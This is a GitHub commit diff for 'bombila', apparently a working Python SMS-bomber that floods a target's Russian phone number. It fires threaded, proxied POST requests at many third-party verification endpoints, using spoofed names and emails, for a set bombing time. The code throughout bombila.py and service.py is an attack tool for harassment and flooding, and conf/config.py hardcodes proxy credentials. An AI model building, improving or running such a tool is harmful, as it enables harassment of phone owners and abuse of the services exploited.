Skip to content

Commit ea20628

Browse files
SnekyySnekyy
Snekyy
authored and
Snekyy
committed
PEP8 code style, shit cleanup
1 parent 0a3144e commit ea20628

File tree

4 files changed

+87
-75
lines changed

4 files changed

+87
-75
lines changed

.gitignore

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
Byte-compiled / optimized / DLL files
2+
__pycache__/
3+
*.py[cod]
4+
*$py.class
5+
6+
# Logs
7+
pip-log.txt
8+
pip-delete-this-directory.txt
9+
*.log
10+
11+
# Environments
12+
.env
13+
.venv
14+
env/
15+
venv/
16+
ENV/
17+
env.bak/
18+
venv.bak/

bombila.py

+32-37
Original file line numberDiff line numberDiff line change
@@ -1,52 +1,36 @@
11
#!/usr/bin/env python3
22

3-
# TODO: country codes for other phone numbers, logging ( --verbose )
3+
# TODO: PEP8 code style,
4+
# country codes for other phone numbers,
5+
# logging ( --verbose )
46

57
import os
68
import json
79
import argparse
810
import threading
9-
from time import time, sleep
1011
from itertools import cycle
11-
12-
try:
13-
from randomData import shuffleServices
14-
from service import Service
15-
import conf.config as cfg
16-
except ImportError as e:
17-
print(e)
18-
exit("ImportError: try to install modules:\n" +
19-
"pip3 install -r requirements.txt")
12+
from time import time, sleep
13+
import conf.config as cfg
14+
from service import Service
15+
from randomData import shuffleServices
2016

2117

22-
def startBomber(thread_id):
18+
def startBomber():
2319
shuffleServices(services)
2420
for elem in cycle(services):
25-
if time() >= stop_time:
21+
if time() >= args.time:
2622
return
2723
sleep(interval)
28-
# Creating obj of service, parse data, replace data and send request:
2924
service = Service(elem, timeout, proxy)
3025
service.parse_data()
3126
service.replace_data(phone)
3227
try:
33-
service._send_request()
28+
service.send_request()
29+
print('Success - ' + service.domain_name)
3430
except KeyboardInterrupt:
3531
threading._shutdown()
3632

3733

38-
def cleanPhoneFromTrash(phone):
39-
for trash in ["'", '"', "-", "_", "(", ")", " "]:
40-
if trash in phone:
41-
phone = phone.replace(trash, "")
42-
if phone[0] == '+':
43-
phone = phone[1::]
44-
if phone[0] == '8':
45-
phone = '7' + phone[1::]
46-
if phone[0] == '9':
47-
phone = '7' + phone
48-
return phone
49-
5034

5135
# Creating parser obj
5236
parser = argparse.ArgumentParser(
@@ -57,10 +41,10 @@ def cleanPhoneFromTrash(phone):
5741
"-p", "--phone", metavar="<phone>",
5842
help="target's russian phone number, format no matters")
5943
parser.add_argument(
60-
"-t", "--stop_time", metavar="<seconds>",
44+
"-t", "--time", metavar="<seconds>",
6145
type=float, help="bombing time in seconds")
6246
parser.add_argument(
63-
"--threads", default=50, type=int, metavar="<int>",
47+
"--threads", default=100, type=int, metavar="<int>",
6448
help="threads count, more threads = more sms, (default: %(default)s)")
6549
parser.add_argument(
6650
"-i", "--interval", default=0, type=float, metavar="<seconds>",
@@ -80,11 +64,23 @@ def cleanPhoneFromTrash(phone):
8064
phone = args.phone
8165
if not phone:
8266
phone = input("Enter target's phone number: ")
83-
phone = cleanPhoneFromTrash(phone)
67+
for trash in ("'", '"', "-", "_", "(", ")", " "):
68+
if trash in phone:
69+
phone = phone.replace(trash, "")
70+
if phone[0] == '+':
71+
phone = phone[1::]
72+
if phone[0] == '8':
73+
phone = '7' + phone[1::]
74+
if phone[0] == '9':
75+
phone = '7' + phone
76+
8477
# Bombing time
85-
if not args.stop_time:
86-
args.stop_time = int(input("Enter bombing time in seconds: "))
87-
stop_time = args.stop_time + time()
78+
if not args.time:
79+
args.time = int(input("Enter bombing time in seconds: "))
80+
# Doesn't creating "time" var because
81+
# it is will conflict with "time" func from module "time"
82+
args.time += time()
83+
8884
# Other args
8985
threads = args.threads
9086
interval = args.interval
@@ -98,11 +94,10 @@ def cleanPhoneFromTrash(phone):
9894

9995
os.system("clear")
10096
print(cfg.banner)
101-
print("Creating %s threads" % threads)
97+
10298
# Creating threads
103-
for thread_id in range(threads):
104-
thread_id += 1
105-
threading.Thread(target=startBomber, args=(thread_id, )).start()
99+
for thread in range(threads):
100+
threading.Thread(target=startBomber).start()
106101

107102
# Killing all threads when bombers work is done
108103
threading._shutdown()

conf/config.py

+14-15
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,26 @@
11
from colorama import Fore
22

3+
34
# FUCK MY BRAIN AND THIS SHIT
4-
banner="""
5-
""" + Fore.CYAN + """ (\__.-. | """ + Fore.RED + """ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ █████╗""" + Fore.RESET + """
6-
""" + Fore.CYAN + """==== ===_]+ """ + Fore.RED + """ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔══██╗""" + Fore.RESET + """
7-
""" + Fore.CYAN + """```- | """ + Fore.RED + """ ██████╔╝██║ ██║██╔████╔██║██████╔╝██║██║ ███████║""" + Fore.RESET + """
8-
""" + Fore.CYAN + """`. """ + Fore.RED + """ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██║██║ ██╔══██║""" + Fore.RESET + """
9-
""" + Fore.CYAN + """` - >-> """ + Fore.RED + """ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝██║███████╗██║ ██║""" + Fore.RESET + """
10-
""" + Fore.RED + """ ╚═════╝""" + Fore.YELLOW + "^ " + Fore.RED + """╚═════╝ ╚═╝""" + Fore.YELLOW + " `\ " + Fore.RED + """╚═╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
11-
""" + Fore.YELLOW + """ __ / ( < / ) \___
5+
banner=f"""
6+
{Fore.CYAN} (\__.-. | {Fore.RED} ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ █████╗{Fore.RESET}
7+
{Fore.CYAN}==== ===_]+ {Fore.RED} ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔══██╗{Fore.RESET}
8+
{Fore.CYAN}```- | {Fore.RED} ██████╔╝██║ ██║██╔████╔██║██████╔╝██║██║ ███████║{Fore.RESET}
9+
{Fore.CYAN}`. {Fore.RED} ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██║██║ ██╔══██║{Fore.RESET}
10+
{Fore.CYAN}` - >-> {Fore.RED} ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝██║███████╗██║ ██║{Fore.RESET}
11+
{Fore.RED} ╚═════╝{Fore.YELLOW}^ {Fore.RED}╚═════╝ ╚═╝{Fore.YELLOW} `\ {Fore.RED}╚═╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
12+
{Fore.YELLOW} __ / ( < / ) \___
1213
- ------===;;;'====------------------===;;;===----- - -
1314
\/ ~"~"~"~"~"~\~"~)~"/
1415
(_ ( \ ( > \)
1516
\_( _ < >_>'
1617
~ `-i' ::>|--"
17-
I;|.|.| """ + Fore.CYAN + "Created by Snekyy" + Fore.YELLOW + """
18+
I;|.|.| {Fore.CYAN}Created by Snekyy{Fore.YELLOW}
1819
<|i::|i|`.
1920
(` ^'"`-' ")
20-
----`---------'---
21-
""" + Fore.RESET
22-
23-
24-
21+
----`---------'---"""
2522

23+
# Random data for request
2624
emails = ["@gmail.com", "@mail.com", "@yandex.ru"]
2725
names = [
2826
"Gabriel",
@@ -44,5 +42,6 @@
4442
"Quentin",
4543
"Sebastian"
4644
]
47-
proxies = {"http" : "http://pyaviegl-dest:[email protected]:80"}
45+
proxies = {"http": "http://pyaviegl-dest:[email protected]:80"}
46+
4847
__version__ = "0.0.4 alpha"

service.py

+23-23
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
# My modules
44
import randomData
55

6+
67
class Service:
78

89
def __init__(self, service, timeout, proxy):
@@ -36,28 +37,27 @@ def replace_data(self, phone):
3637
}.items():
3738
if old in self.payload:
3839
self.payload = self.payload.replace(old, new)
39-
self.payload = json.loads(self.payload)
4040

41-
def _send_request(self):
41+
def send_request(self):
4242
""" Creating session and request, check payload, send request. """
43-
with requests.Session() as session:
44-
request = requests.Request("POST", self.service["url"])
45-
if self.datatype == "json":
46-
request.json = self.payload
47-
elif self.datatype == "data":
48-
request.data = self.payload
49-
else:
50-
request.url = self.payload["url"]
51-
request = request.prepare()
52-
# Catching errors
53-
try:
54-
session.send(request, timeout=self.timeout, proxies=self.proxy)
55-
print('Success - ' + self.domain_name)
56-
except requests.exceptions.ReadTimeout:
57-
print("FAIL - " + self.domain_name + " - ReadTimeout")
58-
except requests.exceptions.ConnectTimeout:
59-
print('FAIL - ' + self.domain_name + " - ConnectTimeout")
60-
except requests.exceptions.ConnectionError:
61-
print('FAIL - ' + self.domain_name + " - ConnectionError")
62-
except Exception as err:
63-
print(err)
43+
session = requests.Session()
44+
request = requests.Request("POST", self.service["url"])
45+
self.payload = json.loads(self.payload)
46+
if self.datatype == "json":
47+
request.json = self.payload
48+
elif self.datatype == "data":
49+
request.data = self.payload
50+
else:
51+
request.url = self.payload["url"]
52+
request = request.prepare()
53+
# Catching errors
54+
try:
55+
session.send(request, timeout=self.timeout, proxies=self.proxy)
56+
except requests.exceptions.ReadTimeout:
57+
print(f"FAIL - {self.domain_name} - ReadTimeout")
58+
except requests.exceptions.ConnectTimeout:
59+
print(f"FAIL - {self.domain_name} - ConnectTimeout")
60+
except requests.exceptions.ConnectionError:
61+
print(f"FAIL - {self.domain_name} - ConnectionError")
62+
except Exception as err:
63+
print(err)

0 commit comments

Comments
 (0)